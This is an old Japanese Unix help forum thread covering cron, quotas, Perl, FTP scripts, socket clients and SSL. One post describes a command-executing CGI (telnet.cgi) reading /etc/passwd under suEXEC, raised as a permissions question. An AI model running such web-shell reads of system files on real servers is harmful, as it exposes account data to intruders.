つか見つけてきました。
*/5 * * * * edquota -p foo `awk -F":" '$3 > 1000 {print $1}' /etc/passwd`

idが1000以上のユーザーに予め設けたユーザーfooのquotaを例えばsoft 20000
と同じに設定すると言うものですが、これをcronで走らせても
なぜか登録ユーザーのquotaには反映されません。
しかし、直接#rootで上記コマンドを打つと反映されます。

で、コマンドが長すぎるのかとも思い、
下記のように二つに分けてcronで走らせてもだめでした。
勿論、直接コマンドではOKです。

*/5 * * * * awk -F":" '$3 > 1000 {print $1}' /etc/passwd > member_id.txt
*/6 * * * * edquota -p foo `cat /root/member_id.txt`

二つに分けた場合ではmember_id.txtは作成されているから
edquota -p info `cat /root/member_id.txt`がcronで作動してない
ということになりますが、理由がわかりません。

長文で申し訳ありませんがご教授お願いします。

No. 3178 # ある厨 2003/04/05 (土) 01:11:02
あ!
edquota -p info `cat /root/member_id.txt`がcronで作動してないは
edquota -p foo `cat /root/member_id.txt`がcronで作動してないです。

No. 3179 # ある厨 2003/04/05 (土) 02:11:59
すみません。自己解決しました。
cronからメールが来てました。
/bin/sh: edquota: command not found

/usr/sbin/edquotanにしたら解決しました。
板汚してすみませんでした。
で、ついでと言っては何ですが、、、

suEXECを使ったCGIはその所有者の権限で動くわけですが、
その所有者には/bin/falseとしてシェルは利用出来ないようにしています。
でも、コマンドが使える(例えばtelnet.cgi)CGIではcat /etc/passwd
等と出来てしまいます。
これは誰の権限で動いているのでしょうか。
OSはLinuxで鯖はApacheです。

No. 3180 # 68user 2003/04/05 (土) 16:42:15
>>3179 ある厨
> その所有者には/bin/falseとしてシェルは利用出来ないようにしています。
/etc/passwd に書くログインシェルはあくまで
    「ログインするときに起動するシェル」
です。

ログインとは telnet や rlogin や ssh 経由でログインすることを指します。
よって、cron から起動したり、setuid(2) して exec(3) する場合は関係
ありません。

web サーバは nobody や www 権限で動かされることが多いでしょうが、
/etc/passwd で
      nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
      www:*:80:80:World Wide Web Owner:/nonexistent:/sbin/nologin
などと /sbin/nologin となっているのは、単にその権限でログインさせない
という設定になっているだけで、その権限でのプロセスの実行を制限している
わけではありません。


>>3176 へにか
(狭義の) checksum や parity や CRC や hash はデータ誤りを検出するための
一方式だと思うのですが、「データ誤りを検出するためのもの」一般は英語で
何て言うんでしょうね?

      http://www.wikipedia.org/wiki/Checksum
にあるように「integrity-protection measure」としか言いようがないなら、
「データ誤りを検出するためのもの」という意味で「checksum」という用語を
使ってもいいんじゃないかなぁ、となんとなく思っております。

No. 3181 # ある厨 2003/04/05 (土) 20:10:43
>>3180 68user
なるほど、ただ単にログインできないと言うことであって
実行制限ではないと言うことですか。
勉強になりました。

#やぱり独学では限度があるにゃぁ。

No. 3182 # へにか 2003/04/05 (土) 21:31:38
>>3180 68user
>「データ誤りを検出するためのもの」一般は英語で何て言うんでしょうね?
Error Detecting Code (誤り検出符合)です。

因みに、CRCは、なんと、1bit-errorまでは訂正できてしまいます。
即ち、Error Correcting Code (誤り訂正符合)でもあるところが、parityやchecksumとは違うところで、面白いです。
#訂正方法は遠い昔に忘れました・・・
#hashは方式を知らないので、訂正できるのかどうか分からないです。

#今日本屋で調べても、歴史的なことは見つかりませんでした。A^^;

http://www.wikipedia.org/ は現在crashしているみたいです。

No. 3183 # NPK [E-mail] 2003/04/10 (木) 22:15:27
始めまして。

なんとなくXULの練習でUnixの部屋のMozilla用検索ツールバーを作ってみました
迷惑になるかもしれないので(それと家のサーバーが落ちてるからというのもある)
許可があるまで配布はしてないのですが配布してもよろしいでしょうか?

# 家の鯖と外の鯖両方落ちてる・・・
# なぜ家に居ないときに落ちる・・・

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3184 # 68user 2003/04/12 (土) 14:30:13
>>3183 NPK
> 配布してもよろしいでしょうか?
はい、構いません。ぜひお願いします。

No. 3185 # ふくし 2003/04/12 (土) 15:25:29
ASCIIでプログラミングして
ISO-2022-JPを出力するプログラムを書いていますが
(なんのために

#! /usr/local/bin/perl -w
print "\e\$B\$3\$s\$K\$A\$O\n";

だとうまくいくけど、

#! /usr/local/bin/perl -w
print "\e\Q$B$3$s$K$A$O\E\n";

だとダメですね。
\Q〜\Eより先に変数展開が行われるみたいです。
ヘンな感じ、、。

No. 3186 # NPK [URL] [E-mail] 2003/04/12 (土) 16:07:52
>>3184 68user

まだDNSが無いのがちょっとどうかと思いますが(^^;
とりあえず置いてみました。

# 古いdyndnsのパスワード忘れたものでそのうちとろうと思ってとりあえずしばらく放置です(笑)

No. 3187 # Phantom 2003/04/13 (日) 23:38:33
はじめまして。unix初心者です。

定期的にhtmlをftpでファイルをアップロードしたいと思いました。それで、cronで実現しようと考えcrontabで編集したのですが上手く動いてくれません。コマンドが間違っているかと思い、console上で実際にやってみたところ普通に動きました。どうしてcronでは上手く動いてくれないのでしょうか?

以下の様にやっています。
10 0 * * * ftp -n < /home/hogehoge/ftp.sh

ftp.shの中身
open ftp-server
user hogehoge passwd
ascii
prompt
cd data/
put index.html
quit

No. 3188 # ゆきち(もじら組) [URL] 2003/04/14 (月) 14:02:24
もじら組のゆきちといいます。いつも、こちらの記事は参考にさせていただいています。

>NPKさん
下記で紹介されているツールバーですが、「新もじら瓦版」というニュースサイト(?)があるのですが、そこでツールバーの報道を行なっても良いでしょうか。
ぜひとも、紹介させていただきたいのですが。

No. 3189 # ゆきち(もじら組) [URL] 2003/04/14 (月) 14:07:18
追記
今、InfoseekとX68Kの両方を利用してみたのですが、「新しいタブで開く」(Infoseek)「新しいWindow」(X68K)で開くを利用すると、最大化(全画面表示)になって、かつ、右にスクロールバーが出ない状態です。最大化を解くと、小さくなりますが、スクロールバーが出ませんね。1.4αです。

こんなところですいませんが、とりあえず、利用報告です。

No. 3190 # NPK [URL] 2003/04/14 (月) 19:27:54
ここで会話することじゃないと思いますが(^^;
(68userさんすいません

>>3188 ゆきち(もじら組)
紹介に関しては問題ないです。
鯖が貧弱なので落ちたらごめんなさい(笑)

開発には1.4α使ってるんですが家ではそんなバグは確認されてませんね・・・
もしかしたらほかのXULアプリと衝突を起こしてるのかもしれません。
そのうち調べてみます。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3191 # ゆきち(もじら組) 2003/04/15 (火) 00:42:11
ありがとうございます。今、時間がとれないですが、紹介してみようと思います。ありがとうございました。

#管理人さん、すいませんでした。

No. 3192 # 68user 2003/04/15 (火) 06:48:00
>>3185 ふくし
> \Q〜\Eより先に変数展開が行われるみたいです。
プログラミング Perl 第 3版では、その辺の評価順序は明示
されていないみたいですね。

>>3187 Phantom
普通、/var/mail/$USER などに実行結果がメールで届くはずです。
そこに何か情報があるかもしれません。

>>3189 ゆきち(もじら組)
FreeBSD 4.7-RELEASE + mozilla-1.4b (2003041308) ですが、再現
しませんでした。ただ、「新しいタブで開く」としても、(タブでなく)
新しいウィンドウが開いてしまいます。

infoseek の方ですが、アプリとしての感想を述べさせていただくと、
    - うちの常用のサイズではウィンドウの幅が足らず、「新しいタブで開く」が
        切れる (ウィンドウサイズを広げれば表示される)
      「Search by Dictionary」と単語入力フォームが広すぎるのかも。
    -「Search」で検索じゃなくて、「国語」「和英」「英和」それぞれを押せば
        検索するといいかも (そしたら「Search」は不要)
    - 「和英」と「英和」はひとつにまとめて、フォームの内容が ASCII なら
        英和、日本語なら和英、だといいかも。
    - てなところを設定で変更できたりするとうれしいかも。
    - 「英→日」はとても便利ですねぇ。
    - 入力した単語の履歴が残って、さらに補完してくれたりすると素晴らしい。
てな感じです。

勉強用にとりあえず作ってみただけなのか、あるいは継続的に
開発されるのかわかりませんが、もし後者であればご検討ください。

>>3190 NPK
> ここで会話することじゃないと思いますが(^^;
全く問題ないです。

>>has
しばし待たれよ。

No. 3193 # ふくし 2003/04/15 (火) 17:14:41
ずっと前に、

while (<>) {
  ...
}

のファイルハンドル ARGV に binmode が適用されないので、

while (<>) {
  ...
}

における ActivePerl の \r\n => \n 置換を抑制できない、
という話をしましたが、5.6 以降では binmode のかわりに

use open IN=>"raw:";

だと動作するようです。PerlIOってやつですね。

No. 3194 # ふくし 2003/04/15 (火) 17:16:48
>>3193 ふくし

自己レスれす。

use open IN=>":raw";

の間違いでした。

No. 3195 # /tk 2003/04/17 (木) 11:05:15
>>3185 ふくし

perldoc perlre
> You cannot include a literal "$" or "@" within a "\Q" sequence. An
> unescaped "$" or "@" interpolates the corresponding variable, while
> escaping will cause the literal string "\$" to be matched. You'll need
> to write something like "m/\Quser\E\@\Qhost/".

>>3192 68user
> その辺の評価順序
「詳説 正規表現」のP245とか…

No. 3196 # 2003/04/17 (木) 15:44:34
改行コードについて質問いたします。
UNIX(HP-UX)の改行コードはLFだと思うのですが、
このコードを削除して複数行のテキストファイルを
一行にすることは可能でしょうか?

No. 3197 # 68user 2003/04/17 (木) 23:25:38
>>3195 /tk
> 「詳説 正規表現」のP245とか…
書いてありました。正規表現エンジンを作ってみる本だと思って
買ってみたらそうじゃなかったので、ほとんど読んでなかったり。

>>3196
tr -d '\n' < file
perl -pe 's/\n//' < file
などなど。

No. 3198 # Phantom 2003/04/18 (金) 01:46:00
>>3192 68user
> 普通、/var/mail/$USER などに実行結果がメールで届くはずです。
という事でしたが、何故か何も届いていませんでした。

それで、もう1度すべて見直して、ftp.shの中身を以下のようにしたら
出来ました。

ftp.sh
open ftp-server
user hoge passwd
prompt
cd data/
ascii
del index.html
put /home/hoge/public_html/index.html ./index.html
quit

なんか、putがうまく行ってなかったみたいです。それで、フルパスで
書いたら上手く行くようになりました。ここまで、書かなければならない
とは、、、

ご迷惑おかけしました。

No. 3199 # NPK [URL] [E-mail] 2003/04/18 (金) 18:21:10
>>3192 68user

実験的な要素は強いですけど基本的に自分が使うから作ってるのでよさげなら取り込みます(笑)
ってな訳で微妙に弄ってみました。
セレクトボックス以外は大体取り込んだと思います。

No. 3200 # oMH [E-mail] 2003/04/19 (土) 00:24:43
エンベロープを変えてメールを送る方法を超初心者向けにわかりやすく説明していただけませんか?

No. 3201 # 68user 2003/04/21 (月) 01:53:11
>>3199 NPK
FreeBSD 4.7-RELEASE + 昨日あたりの nightly で最新版を
インストールして mozilla を再起動したところ、mozilla が
起動しなくなりました (何かを poll(2) してずっと待っている)。

~/.mozilla/ をリネームしてみたところ起動したのですが、設定が
全部元に戻るのは避けたいので、infoseek transfer だけを削除
する方法を教えてください。

>>3200 oMH
どういう環境で実現したいのか わからないので無理っす。

No. 3202 # NPK 2003/04/21 (月) 11:05:30
>>3201 68user

一応そういう事は予想していてあとゆあおうんりすくと書いたんですがね(^^;

chromeの中にあるchrome.rdfからinfoseek_transferに関する項目を削除
chromeの中にあるoverlayinfoディレクトリ内navigatorディレクトリの
contentの中にあるoverlays.rdfからinfoseek_transferに関する項目を削除

これでアンインストールできます。

No. 3203 # 68user 2003/04/23 (水) 00:23:40
>>3202 NPK
> 一応そういう事は予想していてあとゆあおうんりすくと書いたんですがね(^^;
別にクレームをつけているわけではないです。単なる報告と質問の
つもりでした。

で、アンインストールして、再度インストールしたところ正常に動いている
ようです。ありがとうございました。

てゆーか、
    http://ryuzi.dyndns.org/mozx/j_googlebar/index.html
にちゃんと書いてありましたね。失礼しました。

No. 3204 # NPK 2003/04/23 (水) 08:04:22
いや、そういうリスクがあるので自分で治せない場合はやばいっすよ〜みたいなニュアンスで書いたんですが(^^;

別にクレームとしては受け取ってないですよ。
報告はあったほうがありがたいですし。

1.4のナイトリーは大規模な変更が行われてるようですのでたぶんこれからもこういうことがあると思います。
ですので、むしろ報告していただけるほうがありがたいです。

No. 3205 # teru [E-mail] 2003/04/23 (水) 14:55:39
別々のディレクトリのファイルどうしの日付を見てファイル更新が新しければ、コピーするというスクリプトを作りたいんですけど、そのようなコマンドはありますか?

No. 3206 # awa 2003/04/23 (水) 17:21:02
もしご存知でしたら教えてください。
例)
temp/aaa/bbb/ccc
cccディレクトリの中に 
111
222
333
と3つのファイルがあるとします。
  
その時に
cccディレクトリに行き
「ls」コマンドを打つと
111
222
333
と表示されると思いますが
この表示を以下のようにフルパスにしたい。
temp/aaa/bbb/ccc/111
temp/aaa/bbb/ccc/222
temp/aaa/bbb/ccc/333
というのが質問です。
  
もしご存知でしたらご教授をお願いします。
  
以上
よろしくお願いします。
  

No. 3207 # has 2003/04/23 (水) 23:52:57
>>3205 teru
rsyncというコマンドがあるそうです。
http://www.turbolinux.co.jp/knowledge/public/178.html

>>3206 awa
ls | perl -nle "print \"$PWD/\$_\";"
一応動きます。
#1文字目が'/'なのをフルパスというのでは?

No. 3208 # Phantom 2003/04/24 (木) 02:23:40
分かる人にとっては、下らない質問かもしれませんがお分かりでしたら
お願いします。あと、私はperlは全然分かりません。。。

perlで実行した内容結果がindex.htmlというHTMLファイルで出力されるの
ですが、それをcronで決まった時間で実行しています。そして、その出力さ
れたファイルをftpでアップしたいと考えています。しかし、以下のように
cronを書くと駄目でした。

20,50 0-23/2 * * * perl hoge.pl | ftp -n < ftp.up

どう駄目かというと、説明する必要ないかもしれないのですが、ftp上に置
かれるindex.htmlファイルが最新のものではなく、その前の時間のファイル
になってしまうのです。(0時50分に更新すると、ファイルの時間は0時20分
のものになってしまうということです。)原因は明確的で、perlが実行され
出力される前のファイルをftpでアップしている事、にあるのは分かってい
ます。ただ、その解決方法がわかりません。
perlのファイルを書き換えないと駄目なんでしょうか…。それとも、別の
方法があるのでしょうか?

No. 3209 # 68user 2003/04/24 (木) 09:10:30
>>3204 NPK
> そういうリスクがあるので自分で治せない場合はやばいっすよ〜
ごもっともです。精進します。

>>3205 teru
もしシェルスクリプトでやるのであれば test(1) を使って
    if [ "$fromdir/file1" -nt "$todir/file1" ]; then
          cp -f $fromdir/file1 $todir/file1
    fi
など。

>>3208 Phantom
> perl hoge.pl | ftp -n < ftp.up
perl と ftp を同時に実行しているので、perl が書き換える
前に ftp で put しているのでしょう。

そもそも
      % command1 | command2 < file
というのはおかしいです。command2 の標準入力に渡したいのは、
command1 の出力なのか、あるいは file なのかが不明確だから
です。sh 系だとなぜかエラーにならないようですが、csh 系だと
      Ambiguous input redirect.
と怒られます。

というわけで、
      perl hoge.pl ; ftp -n < ftp.up
でしょう。

もし hoge.pl が
      - 正常終了時には 0 を返す (exit(0))
      - 異常終了時には 1 以上を返す
という UNIX コマンドの一般的なルールに従っていて、hoge.pl が
異常終了した場合には ftp を実行したくないのであれば、
      perl hoge.pl && ftp -n < ftp.up
の方をお勧めします。

No. 3210 # Phantom 2003/04/24 (木) 18:09:57
>>3209 68user
> perl hoge.pl && ftp -n < ftp.up
これで、思い通りに出来ました!有難う御座いました。
凄く単純なことにミスをしていたんですね。お恥ずかしい。
sh 系でもエラーはいて欲しいと思いました。

No. 3211 # 11SE 2003/04/29 (火) 23:14:01
はじめまして。

マシン:HITACHI3050
OS:HI-UX
のマシンのIPアドレスを変更したいのですが、
Hostsファイルの変更だけで大丈夫でしょうか?
HP-UXのように、samコマンドみたいなものがあるのでしょうか?

よろしくお願いします。

No. 3212 # 68user 2003/04/30 (水) 00:06:23
>>3211 11SE
HI-UX も HP-UX もさわったことはないのでわかりませんが、一般的な
UNIX なら /etc/hosts は、ただの IP アドレスとホスト名のマッピングを
決めるファイルです。

/etc/hosts はマシン (正確にはインタフェース) の IP アドレスを決める
ファイルではないので、何かしらのファイルを変更しないといけないでしょう。

管理コマンドを探すか、
        # find /etc -type f | xargs fgrep 10.0.0.1
などでどのファイルに何が書かれているのか探しましょう。

No. 3213 # 伊藤@管理初心者 2003/05/04 (日) 00:31:48
はじめまして最近Laboの管理者にはじめてなった伊藤と申すものです。
まず、状況から説明したいと思います。先日Laboの電気工事のため停電があり、WS(ワークステーション)を停めなくてはいけませんでした。
本日復旧作業をしていたのですが、ディスクアレイに繋がっているWSがうまく起動しません。また、ディスクアレイの表示画面にもROM ERROR と出ています。これは何が悪いのでしょうか?GW中なので、業者にも連絡がつかず八方塞がりな状態です。よろしくお願いします。

以下に詳しいlogの内容を記載しておきます。

(WS<COMPAQ XP1000>のlog)

Checking local filesystems
/sbin/ufs_fsck -p
Can't open /dev/rrz8g : No such device or address
/dev/rrz8g : CAN'T CHECK FILE SYSTEM
Can't open /dev/rrz8h : No such device or address
/dev/rrz8h : CAN'T CHECK FILE SYSTEM

THE FOLLOWING FILE SYSTEMS HAD AN UNEXPECTED INCONSYSTENCY
  /dev/rrz8g(/raid) /dev/rrz8h(raid2)

Unknown error in reboot


(ディスクアレイ<proware 型番不明>の表示パネルに出てくるMessage)

ROM ERROR
19200,8,1,N

No. 3214 # 68user 2003/05/04 (日) 13:15:32
>>3213 伊藤@管理初心者
ディスクアレイの表示画面に ROM ERROR と出ているなら、ディスク
アレイの故障した可能性が限りなく高いと。そっちは業者にまかせる
として、あとはそのディスクアレイなしで OS がブートするかどうか
です (ディスクアレイ中のデータを読み出すことが目的なら、あきら
めて業者を待ちましょう)。

シングルユーザモードで起動して、/etc/vfstab あたりを修正して、
/dev/rrz8* をマウントしないようにするのが UNIX における一般的な
対処です。

ただ、おそらく OS は Tru64 あたりではないかと推測しますが、
さわったことがないので具体的な対処方法はわかりません。

No. 3215 # 伊藤@管理初心者 2003/05/04 (日) 18:48:20
>>3214 68user
お返事ありがとうございます。
やはり、ディスクアレイは故障の可能性が高いと…。
68userさんのおっしゃる通り、ディスクアレイ中のデータを読み出すことが目的だったんですが・・・、わかりました。
いろいろと御助言ありがとうございました。

No. 3216 # 68user 2003/05/05 (月) 21:38:54
memo
http://www.coins.tsukuba.ac.jp/~yas/classes/dsys-2002/2003-03-04/index.html
http://www-6.ibm.com/jp/developerworks/security/011005/j_s-stun.html

No. 3217 # 匿名 [URL] 2003/05/07 (水) 01:21:53
「ソースを表示してみよう」の結果が
次のように表示されてしまいます。

1: : Content-type: text/html(LF)
2: : (LF)
3: : <html><body bgcolor=white>(LF)
4: : </body></html>(LF)

No. 3218 # 68user 2003/05/07 (水) 09:17:19
>>3217 匿名
ご報告ありがとうございます。ウチに帰ったら対処します。

No. 3219 # DLT8000user 2003/05/07 (水) 19:05:38
テープメディア(DLTtapeIV)についての質問です。

DLTtapeIVに退避させた、圧縮後のデータの容量を調べる方法がわからず大変困っています。
テープ内の圧縮後データ容量を確認するコマンド、方法があれば教えて下さい。
なにとぞ、なにとぞ宜しくお願い致します。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3220 # 匿名 [E-mail] 2003/05/08 (木) 15:20:52
クライアントよりフォルダを指定して、その配下全てのファイルをサーバにアップロードすることはservletで可能でしょうか?
また、そのフォルダに指定したアクセス権限を付与することは可能でしょうか?

No. 3221 # 68user 2003/05/08 (木) 19:06:12
>>3219 DLT8000user
あんまり詳しくないんですが、tar で保存していれば tar tvf
…とかいう話でしょうか? cpio は知りません。

じゃなくて、圧縮率の話?

>>3220 匿名
servlet でというか、HTML 的にはフォルダまるごとのアップロードは
無理だと思います。やるなら Java Applet とか DirectX とかいう
話になるかと。

アクセス権限については環境依存なので、java.lang.Runtime#exec()
で設定でしょうか。

No. 3222 # 68user 2003/05/14 (水) 20:48:36
>>3218 68user
> ウチに帰ったら対処します。
と言いつつ忘れていました。そしてここ数日、このサーバが
落ちていたので、まだ対処できていません。今週末にはなんとか…。

No. 3223 # int 2003/05/17 (土) 18:40:47
ネットワークプログラミングの基礎のところで、
select や fork を「マルチスレッド」と書かれているようですが、
少し違うのではないでしょうか?
新しいスレッドが生成されず、見ため同時に動いていることを
マルチスレッドとは言わないと思います。

No. 3224 # 68user 2003/05/18 (日) 02:25:58
>>3024 テクノソルジャー
いまさらですが http-proxy.pl のメモリリークを修正しました。
ご指摘ありがとうございました。

http://X68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/sample/http-proxy.pl

>>3217 匿名
> 「ソースを表示してみよう」の結果が次のように表示されてしまいます。
修正しました。ご指摘ありがとうございました。

>>3223 int
> 見ため同時に動いていることをマルチスレッドとは言わないと思います。
「見ため同時に動いていること」を「マルチスレッド」と表記している
本があったのでそれを真似しているんですが、やっぱり変でしょうか
(と言ってもその本が見付けられないので、勘違いかも)。

とはいえ、pthread などの「スレッド」と混同しやすいのは確かです。
より適切なの用語は「多重化」でしょうが、個人的にはわかりにくい
と感じます (だからあえて「スレッド」としてみた)。

何かよい用語はないでしょうか。

No. 3225 # ちゃお 2003/05/18 (日) 03:39:04
初めまして。
突然ですがおききしたいことがあります。
貴HP内にてsocketを使ったHTTPクライアントを作るプログラムを拝見させていただき、独立した環境で同じように組んで実行しましたがホストが存在しないとかえってきました。
これは至極当然なので、$iaddr(指定アドレス)に自分自身(127.0.0.1)を指定して実行しました。

ちなみにANHTTPDが動いています。
perl5でライブラリ上でもsocketは確認しています。

結果はエラーコード500を返すだけでなにも起こりませんでした。
アクセスログもやはりエラーコードは500でした。

自分自身へ試してみて異常がないことを確認できなければ外部に向かって使用するのにはかなり抵抗があったため試してみたことでした。
socketを使っての自分自身へのアクセスはできないのでしょうか?

お暇なときでよろしいですのでお返事よろしくおねがいいたします。

No. 3226 # Netboy 2003/05/18 (日) 11:01:45
>何かよい用語はないでしょうか。

プロセス制御,プロセスの多重化,プロセスの生成と複写,
マルチプロセス,同時実行プロセス

等は如何でしょう.

No. 3227 # 68user 2003/05/19 (月) 04:34:26
>>3225 ちゃお
> 結果はエラーコード500を返すだけでなにも起こりませんでした。
> アクセスログもやはりエラーコードは500でした。
ということは TCP/IP 的には正常に通信できているが、HTTP リクエスト
で送信している内容がよくない、という状況と考えます。

あとは
    - 実行したのが http-client.pl なのか、http-client-2.pl なのか。
    - http-client-2.pl であれば、URL に何と入力したのか。
        その URL をブラウザで見ると正しく表示されるのか。
    - そもそも telnet で成功したのか。その場合は何とタイプしたのか。
と情報がないと何とも言えません。

>>3226 Netboy
apache 起動の件、ありがとうございました。

> プロセス制御,プロセスの多重化,プロセスの生成と複写,
> マルチプロセス,同時実行プロセス
いえ、どういう手法で多重化しているか (プロセス/スレッド/select) は
別として、「見ため同時に動いていること」を何と表記すればよいかが
よくわからないのです。

No. 3228 # ちゃお 2003/05/19 (月) 18:25:34
>>3227 68user
お返事ありがとうございます。
そして言葉足らず失礼いたしました。

>実行したのが http-client.pl なのか、http-client-2.pl なのか
実行したプログラムはhttp-client.plのほうです。

>telnet で成功したのか
telnetでは127.0.0.1にポート80で接続できました。
でもそのあとのheloコマンドでは501を返してきました。

またメインマシンがwinMEなので最初の接続(open)はDOSプロンプトからできません。

>URL をブラウザで見ると正しく表示されるのか
ブラウザではエラー500を返してきます。

またURLには127.0.0.1/root/http_client.cgiとしています。
拡張子はcgiにしています。

よろしくおねがいします。

No. 3229 # ちゃお 2003/05/19 (月) 18:30:28
連続ですいません。
さっきかきこんだあとおもうところがあって拡張子plで試してみました。
plは設定(http.conf)に登録していないのでいつも使っていませんでした。
もちろん今回も実行したあとはブラウザには表示されませんでした。

しかし、アクセスログには200が残っていました。

これって成功したということでいいのでしょうか?

No. 3230 # 68user 2003/05/20 (火) 22:16:24
>>3228 ちゃお
> でもそのあとのheloコマンドでは501を返してきました。
わたしの知る限り HELO と言えば SMTP です。そして
ポート 80 の先にいるのは HTTP サーバです。HTTP サーバは
SMTP を解さないので、エラーになるでしょう。

http-client.pl というのは、要はブラウザの代わりをする
プログラムなのですが、その辺は理解されていますか?

> またURLには127.0.0.1/root/http_client.cgiとしています。
あなたがブラウザで普通に見られるような URL を試しましょう。
      http://127.0.0.1/
で何かコンテンツが表示されるなら、まずそれで試すべきです。

とりあえず
    http://x68000.startshop.co.jp/~68user/net/http-1.html
を読んで、実際に試してみてください。

No. 3231 # じゅじゅ [E-mail] 2003/05/21 (水) 19:28:46
c言語でFTPクライアントのプログラムを組んでいます。
プロトコルやソースは大変参考にさせていただいています。

環境は、TurboLinux 8 serverです。

FTPクライアントのプログラムなのですが、ファイルの転送などは問題なく動作しているのですが、ディレクトリ単位の転送の記述部分がわかりません。何度かコマンドのデバッグモードで試して、RFCなどの記述も呼んでいるのですが。参考になるページがあるのでしたら、教えてください。
また、ファイルかディレクトリかを区別する方法もあればと思い、ご教授よろしくお願いいたします。

No. 3232 # 68user 2003/05/21 (水) 23:01:09
>>3231 じゅじゅ
> ディレクトリ単位の転送
おそらく、ディレクトリを LIST or NLST して、一つ一つ RETR する
しかないです。

> ファイルかディレクトリかを区別する方法
ブラウザで anonymous ftp サイトに接続した場合などは、LIST の結果が
drwxr-xr-x ならディレクトリ、とするのが一般的だと思います。もっと
きっちりやるなら、CWD で移動できたらディレクトリとみなす、とか。

基本的に、ftp は UNIX に依存したくなかったため、この辺はあえて
決めてないのではないかと思っています。

もしディレクトリを判別できるようにするなら、名前付きパイプは?
ソケットは? デバイスファイルは? door は? ということになり、
結局 ls の結果をそのまま送る方がよい、と判断されたのではない
でしょうか (そしてわたしは、この判断は誤りであると思っています)。

No. 3233 # じゅじゅ [E-mail] 2003/05/22 (木) 15:28:39
簡単なことかもしれませんが、LISTやNLSTをし、続けてファイルの総数やディレクトリの中にあるファイル名を取得することはできるのでしょうか?それらのデータを取得する記述と、また、
>drwxr-xr-x ならディレクトリを取得する
記述が分かりません。
ご教授よろしくお願いいたします。

No. 3234 # 68user 2003/05/23 (金) 02:21:11
>>3233 じゅじゅ
LIST すれば
    drwxr-xr-x 9 user group 512 Apr 28 2001 dir1
    drwxr-xr-x 10 user group 512 Jul 30 2000 dir2
    -rw-r--r-- 1 user group 122 Mar 29 2000 file
などという結果が返ってくるので、行頭が d である
dir1 と dir2 がディレクトリであることがわかります。

さらに LIST dir1 とすれば dir1 の下のファイル・
ディレクトリ一覧が返ってきます。

No. 3235 # ちゃお 2003/05/24 (土) 04:43:48
>>3230 68user
前回はちんぷんかんぷんな質問失礼いたしました。
現状ちゃおのマシンにはapacheがインストールされています。
そしてrootにはhtdocsが指定されています。
さらにhtdocsの中にindex.htmlがあります。

まずはtelnetからやりなおしてみました。
コマンドプロンプトから以下のように入力しました。

telnet 127.0.0.1 80
接続成功
GET /index.html HTTP/1.1
HOST:127.0.0.1
Content-type:text/html

ソース取得成功してます。

次にコマンドプロンプトからperlを実行します。
(もちろんperlのあるディレクトリには移動済みで、他のHTMLソースを吐き出させることにも成功しています)

c:\>perl http_client.pl

このときはなにも表示されません。
しかしコードは200を返します。

このときの結果は同じものではないのですか?

>http-client.pl というのは、要はブラウザの代わりをする
プログラムなのですが、その辺は理解されていますか?

つまり$iaddrで指定したアドレスにあるソースを受け取って表示する、
dos上で実行したらbody部分がそのままdosプロンプトに表示されるということでいいんですよね???
それともこのプログラムにさらに引数を与えなければいけないのでしょうか?

長文になってしまい失礼いたしました。
またお時間のあるときにお返事いただければ幸いです。

No. 3236 # かんすけ [E-mail] 2003/05/24 (土) 23:49:04
Makefileでのライブラリの定義について

はじめまして。solaris初心者のかんすけです。
環境はsparc-solaris8です。
Makefileを作成してみたのですが、自分で作成したライブラリファイルをCCのところでうまく定義できません。実行すると「ファイルが見つかりません」とエラーが表示されます。
この場合、まず何を疑えば良いのでしょうか?
正しいMakefileでのライブラリの定義の仕方を教えてください。
また良いサンプルファイルのURL等ありましたら、紹介してください。
よろしくお願いします。

No. 3237 # ちゃお 2003/05/27 (火) 01:28:02
今までの数々の質問大変失礼いたしました。
色々いじっているうちに何故か成功いたしました。
今までありがとうございました。
これからもがんばってください。

No. 3238 # 68user 2003/05/30 (金) 00:19:49
>>3236 かんすけ
デフォルトルールや特殊変数などを全く活用してませんが、

      main: main.o hoge.a
                $(CC) -o $@ $>
      hoge.a: hoge.a(a.o) hoge.a(b.o)
                $(AR) ru $@ $>

とりあえずこんな感じで実現することは可能です。

No. 3239 # 68user 2003/05/30 (金) 04:40:51
OpenSSL による https クライアントをちょっとだけ
バージョンアップしました (解説は更新なし)。
    http://x68000.startshop.co.jp/~68user/net/ssl.html

変更点はこちら。
    http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/net/sample/https-client.c

しかし SSL は未だによくわからん…。

No. 3240 # 68user 2003/05/31 (土) 21:05:20
苦節 3日。やっと rootCA を組み込む方法がわかった。
忘れないうちにメモメモ。
        ctx = SSL_CTX_new(ssl_method());
        SSL_CTX_load_verify_locations(ctx, "mod_ssl-2.8.9-1.3.26/pkg.sslcfg/ca-bundle.crt", NULL);

No. 3241 # ひろ 2003/06/05 (木) 19:56:39
皆様こんにちは。

僕はサーバースペースを借りてHPを作ってます。

いきなりの質問で失礼と存じますが…

asciiart.cgiの設置方法を教えていただけないでしょうか?

一応、↑検索をかけてみたのですが見当たりませんでした。

                                    パーミッション
asciiart.cgi    755
environment.pl   644(試しに755)

…だけではダメなのでしょうか?

ヨロシクお願いします。

No. 3242 # 68user 2003/06/05 (木) 23:52:06
>>3241 ひろ
> asciiart.cgiの設置方法を教えていただけないでしょうか?
      http://x68000.startshop.co.jp/~68user/unix/pickup?netpbm
に含まれている giftopnm、ppmtopgm などのコマンド群と、
HTTP クライアントである httptalker.pl が必要です。

netpbm はフリーで配布されています。httptalker.pl はわたしが
作ったものですが、wget や fetch などのフリーなダウンローダで
代用可能です。

申し訳ありませんが、解説しはじめると長くなるので、これ以上の
詳細な解説はご勘弁ください。

関係ないですけど、テーブルアートというのがあります。こっちの方が
表現力が高いので、おもしろいかも。
      http://hi.sakura.ne.jp/~okada/table/

No. 3243 # ひろ 2003/06/08 (日) 13:48:14
返答ありがとうございました。

難しいので諦めます。。

asciiart.cgiを設置されてるサイトって有るんですかね?(謎)

因みにasciiart.cgi検索かけても見つかりませんでした。(笑)

No. 3244 # 68user 2003/06/09 (月) 06:08:14
>>3243 ひろ
